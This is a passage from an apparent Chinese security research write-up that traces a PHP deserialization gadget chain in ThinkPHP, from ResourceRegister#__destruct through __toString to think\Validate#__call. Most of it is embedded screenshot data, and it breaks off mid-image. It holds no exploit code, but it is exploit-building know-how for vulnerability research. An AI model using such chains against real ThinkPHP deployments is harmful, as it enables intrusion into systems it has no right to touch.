6r6de/vVncI7n+/OuUe4V3pf4375A8MHVX/Y/lHX6dZ57GHAw7ZHcY/uPuY9fvEk/8mXrvlPaU/Ln5k8q+527
|
|||
|
|
<p>这两个类的close方法都是些赋值语句,不适合作为source点</p>
|
|||
|
|
<p>所以只能将目光放在ResourceRegister#__destruct方法上</p>
|
|||
|
|
<p><strong>sink点选择</strong></p>
|
|||
|
|
<p>大多框架的反序列化sink点会选择<strong>call方法,一般可能的危险操作都在</strong>call方法上,当然也要找变量可控较多且可利用的(method大多不可控了)</p>
|
|||
|
|
<p>这里我选的think\Validate#__call,也是ThinkPHP6反序列化调用链中会选的sink,当然应该也可以选别个</p>
|
|||
|
|
<p><strong>调用链挖掘</strong></p>
|
|||
|
|
<p>选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论</p>
|
|||
|
|
<p>先从source点开始跟</p>
|
|||
|
|
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140600-aa617edc-3126-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>registered可控,为false会调用register方法</p>
|
|||
|
|
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140629-bb531c32-3126-1.png><img src=data:image/png;base64,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
|
|||
|
|
<p>resource可控,可以看到这里就能尝试去触发<strong>call方法,但是getRule方法是无参的,没有办法控制</strong>call方法中的$args参数</p>
|
|||
|
|
<p>这里选择往下调用parseGroupRule方法,getRule方法返回值可控,该方法下个人感觉可利用的点不多,但可以利用字符串拼接触发__toString(由于做了类型限制,就不能选择一些字符串处理函数来触发)</p>
|
|||
|
|
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140716-d75b3158-3126-1.png><img src=data:image/png;base64,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
|
|||
|
|
<p>rest、last、option都是可控的,这里可以通过字符串拼接的方式触发__toString</p>
|
|||
|
|
<p>下面就是<strong>toString的选择,能用的也不多,这里我选的是think\model\concern\Conversion#</strong>toString方法</p>
|
|||
|
|
<p>一路走过来会调用appendAttrToArray方法</p>
|
|||
|
|
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623140731-e0506562-3126-1.png><img src="data:image/png;base64,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